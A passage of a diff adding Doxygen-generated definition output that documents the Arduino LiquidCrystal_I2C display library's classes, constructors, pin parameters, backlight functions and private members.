<<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a29061eaa64c2e9f3b985ff52249b62a9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rw_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + cp-fileline = '45'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 10; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 9; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '10'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 12; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 11; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '12'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___i2_c'; + cp-name = 'LiquidCrystal_I2C'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aeee2ada537f0cfbfda8613324b57c4a6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '110'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9fc9bc519ebbf7503dadc11622e02ed6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '53'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1add1f2da7de4ec9b9cd5c9b5fab712464'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '70'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a7d9b54d3a91fa0e0e50db27cda6b4654'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '89'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a517f8847ebf09f0eacfb9c7232975fce'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '67'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1ab15622287533de7a47f3e2012ebf18be'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aac537d195557e0b8afac1a71441a484c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '51'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a8bf1fab7efe13e8b17b96c42d1f810b4'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '124'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1af11b8fa0082616e2b6e6e4238589d8a8'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a2eaf86f62d1f169b3763b03fbf88f70b'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '134'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adb997350478bdc0ab8eb5cc5623a2ad9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'config'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '172'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a459c4fa106fb7bac5940e3c6aea736af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a1d715dbf40f06b4c15004cd356b5a321'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '190'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a60111950cc0a47e6223c22949faa15f3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '182'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0bb3cc7ec414b373ef00e0cc6642ec88'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Addr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '193'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9d59c16cde5c3ffb30a881e9a61c9a32'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPinMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0eaa7c2ac1040a1786960618866c066e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightStsMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a3436246b17062357066c636aa598b49d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aa0a878e97b6111abf1bc8d767a548cf2'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_En'; + sec-mem-desc-file = 